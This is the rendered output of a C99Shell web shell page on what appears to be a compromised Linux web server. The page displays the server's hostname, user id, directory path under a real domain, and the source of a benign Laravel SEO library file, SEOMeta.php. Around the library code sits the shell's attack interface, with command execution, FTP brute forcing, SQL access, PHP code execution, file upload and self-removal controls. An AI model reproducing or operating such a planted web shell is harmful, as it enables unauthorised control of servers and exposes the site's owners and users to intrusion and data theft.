!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/vendor/artesaos/seotools/src/SEOTools/   drwxr-xr-x
Free 26.32 GB of 117.98 GB (22.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SEOMeta.php (11.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Artesaos\SEOTools;

use 
Illuminate\Support\Arr;
use 
Illuminate\Config\Repository as Config;
use 
Artesaos\SEOTools\Contracts\MetaTags as MetaTagsContract;

/**
 * SEOMeta provides implementation for `MetaTags` contract.
 *
 * @see \Artesaos\SEOTools\Contracts\MetaTags
 */
class SEOMeta implements MetaTagsContract
{
    
/**
     * The meta title.
     *
     * @var string
     */
    
protected $title;

    
/**
     * The meta title session.
     *
     * @var string
     */
    
protected $title_session;

    
/**
     * The meta title session.
     *
     * @var string
     */
    
protected $title_default;

    
/**
     * The title tag separator.
     *
     * @var array
     */
    
protected $title_separator;

    
/**
     * The meta description.
     *
     * @var string
     */
    
protected $description;

    
/**
     * The meta keywords.
     *
     * @var array
     */
    
protected $keywords = [];

    
/**
     * extra metatags.
     *
     * @var array
     */
    
protected $metatags = [];

    
/**
     * The canonical URL.
     *
     * @var string
     */
    
protected $canonical;

    
/**
     * The AMP URL.
     *
     * @var string
     */
    
protected $amphtml;

    
/**
     * The prev URL in pagination.
     *
     * @var string
     */
    
protected $prev;

    
/**
     * The next URL in pagination.
     *
     * @var string
     */
    
protected $next;

    
/**
     * The alternate languages.
     *
     * @var array
     */
    
protected $alternateLanguages = [];

    
/**
     * The meta robots.
     *
     * @var string
     */
    
protected $robots;

    
/**
     * @var Config
     */
    
protected $config;

    
/**
     * The webmaster tags.
     *
     * @var array
     */
    
protected $webmasterTags = [
        
'google'   => 'google-site-verification',
        
'bing'     => 'msvalidate.01',
        
'alexa'    => 'alexaVerifyID',
        
'pintrest' => 'p:domain_verify',
        
'yandex'   => 'yandex-verification',
        
'norton'   => 'norton-safeweb-site-verification',
    ];

    
/**
     * @param \Illuminate\Config\Repository $config
     */
    
public function __construct(Config $config)
    {
        
$this->config $config;
    }

    
/**
     * {@inheritdoc}/
     */
    
public function generate($minify false)
    {
        
$this->loadWebMasterTags();

        
$title $this->getTitle();
        
$description $this->getDescription();
        
$keywords $this->getKeywords();
        
$metatags $this->getMetatags();
        
$canonical $this->getCanonical();
        
$amphtml $this->getAmpHtml();
        
$prev $this->getPrev();
        
$next $this->getNext();
        
$languages $this->getAlternateLanguages();
        
$robots $this->getRobots();

        
$html = [];

        if (
$title) {
            
$html[] = Arr::get($this->config'add_notranslate_class'false) ? "<title class=\"notranslate\">$title</title>" "<title>$title</title>";
        }

        if (
$description) {
            
$html[] = "<meta name=\"description\" content=\"{$description}\">";
        }

        if (!empty(
$keywords)) {

            if(
$keywords instanceof \Illuminate\Support\Collection){
                
$keywords $keywords->toArray();
            }

            
$keywords implode(', '$keywords);
            
$html[] = "<meta name=\"keywords\" content=\"{$keywords}\">";
        }

        foreach (
$metatags as $key => $value) {
            
$name $value[0];
            
$content $value[1];

            
// if $content is empty jump to nest
            
if (empty($content)) {
                continue;
            }

            
$html[] = "<meta {$name}=\"{$key}\" content=\"{$content}\">";
        }

        if (
$canonical) {
            
$html[] = "<link rel=\"canonical\" href=\"{$canonical}\">";
        }

        if (
$amphtml) {
            
$html[] = "<link rel=\"amphtml\" href=\"{$amphtml}\">";
        }

        if (
$prev) {
            
$html[] = "<link rel=\"prev\" href=\"{$prev}\">";
        }

        if (
$next) {
            
$html[] = "<link rel=\"next\" href=\"{$next}\">";
        }

        foreach (
$languages as $lang) {
            
$html[] = "<link rel=\"alternate\" hreflang=\"{$lang['lang']}\" href=\"{$lang['url']}\">";
        }

        if (
$robots) {
            
$html[] = "<meta name=\"robots\" content=\"{$robots}\">";
        }

        return (
$minify) ? implode(''$html) : implode(PHP_EOL$html);
    }

    
/**
     * {@inheritdoc}
     */
    
public function setTitle($title$appendDefault true)
    {
        
// open redirect vulnerability fix
        
$title str_replace(['http-equiv=''url='], ''$title);

        
// clean title
        
$title strip_tags($title);

        
// store title session
        
$this->title_session $title;

        
// store title
        
if (true === $appendDefault) {
            
$this->title $this->parseTitle($title);
        } else {
            
$this->title $title;
        }

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setTitleDefault($default)
    {
        
$this->title_default $default;

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setTitleSeparator($separator)
    {
        
$this->title_separator $separator;

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setDescription($description)
    {
        
// clean and store description
        // if is false, set false
        
$this->description = (false == $description) ? $description htmlspecialchars($descriptionENT_QUOTES'UTF-8'false);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setKeywords($keywords)
    {
        if (!
is_array($keywords)) {
            
$keywords explode(', '$keywords);
        }

        
// clean keywords
        
$keywords array_map('strip_tags'$keywords);

        
// store keywords
        
$this->keywords $keywords;

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function addKeyword($keyword)
    {
        if (
is_array($keyword)) {
            
$this->keywords array_merge($keyword$this->keywords);
        } else {
            
$this->keywords[] = strip_tags($keyword);
        }

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function removeMeta($key)
    {
        
Arr::forget($this->metatags$key);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function addMeta($meta$value null$name 'name')
    {
        
// multiple metas
        
if (is_array($meta)) {
            foreach (
$meta as $key => $value) {
                
$this->metatags[$key] = [$name$value];
            }
        } else {
            
$this->metatags[$meta] = [$name$value];
        }

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setCanonical($url)
    {
        
$this->canonical $url;

        return 
$this;
    }

    
/**
     * Sets the AMP html URL.
     *
     * @param string $url
     *
     * @return MetaTagsContract
     */
    
public function setAmpHtml($url)
    {
        
$this->amphtml $url;

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setPrev($url)
    {
        
$this->prev $url;

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setNext($url)
    {
        
$this->next $url;

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function addAlternateLanguage($lang$url)
    {
        
$this->alternateLanguages[] = ['lang' => $lang'url' => $url];

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function addAlternateLanguages(array $languages)
    {
        
$this->alternateLanguages array_merge($this->alternateLanguages$languages);

        return 
$this;
    }

    
/**
     * Sets the meta robots.
     *
     * @param string $robots
     *
     * @return MetaTagsContract
     */
    
public function setRobots($robots)
    {
        
$this->robots $robots;

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getTitle()
    {
        return 
$this->title ?: $this->getDefaultTitle();
    }

    
/**
     * {@inheritdoc}
     */
    
public function getDefaultTitle()
    {
        if (empty(
$this->title_default)) {
            return 
$this->config->get('defaults.title'null);
        }

        return 
$this->title_default;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getTitleSession()
    {
        return 
$this->title_session ?: $this->getTitle();
    }

    
/**
     * {@inheritdoc}
     */
    
public function getTitleSeparator()
    {
        return 
$this->title_separator ?: $this->config->get('defaults.separator'' - ');
    }

    
/**
     * {@inheritdoc}
     */
    
public function getKeywords()
    {
        return 
$this->keywords ?: $this->config->get('defaults.keywords', []);
    }

    
/**
     * {@inheritdoc}
     */
    
public function getMetatags()
    {
        return 
$this->metatags;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getDescription()
    {
        if (
false === $this->description) {
            return;
        }

        return 
$this->description ?: $this->config->get('defaults.description'null);
    }

    
/**
     * {@inheritdoc}
     */
    
public function getCanonical()
    {
        if (
$this->canonical) {
            return 
$this->canonical;
        }

        
$canonical_config $this->config->get('defaults.canonical'false);

        if (
$canonical_config === null || $canonical_config === 'full') {
            return 
htmlspecialchars(app('url')->full());
        } elseif (
$canonical_config === 'current') {
            return 
htmlspecialchars(app('url')->current());
        }

        return 
$canonical_config;
    }

    
/**
     * Get the AMP html URL.
     *
     * @return string
     */
    
public function getAmpHtml()
    {
        return 
$this->amphtml;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getPrev()
    {
        return 
$this->prev;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getNext()
    {
        return 
$this->next;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getAlternateLanguages()
    {
        return 
$this->alternateLanguages;
    }

    
/**
     * Get meta robots.
     *
     * @return string
     */
    
public function getRobots()
    {
        return 
$this->robots ?: $this->config->get('defaults.robots'null);
    }

    
/**
     * {@inheritdoc}
     */
    
public function reset()
    {
        
$this->description null;
        
$this->title_session null;
        
$this->next null;
        
$this->prev null;
        
$this->canonical null;
        
$this->amphtml null;
        
$this->metatags = [];
        
$this->keywords = [];
        
$this->alternateLanguages = [];
        
$this->robots null;
    }

    
/**
     * Get parsed title.
     *
     * @param string $title
     *
     * @return string
     */
    
protected function parseTitle($title)
    {
        
$default $this->getDefaultTitle();

        if (empty(
$default)) {
            return 
$title;
        }
        
$defaultBefore $this->config->get('defaults.titleBefore'false);

        return 
$defaultBefore $default.$this->getTitleSeparator().$title $title.$this->getTitleSeparator().$default;
    }

    
/**
     * Load webmaster tags from configuration.
     */
    
protected function loadWebMasterTags()
    {
        foreach (
$this->config->get('webmaster_tags', []) as $name => $value) {
            if (!empty(
$value)) {
                
$meta Arr::get($this->webmasterTags$name$name);
                
$this->addMeta($meta$value);
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--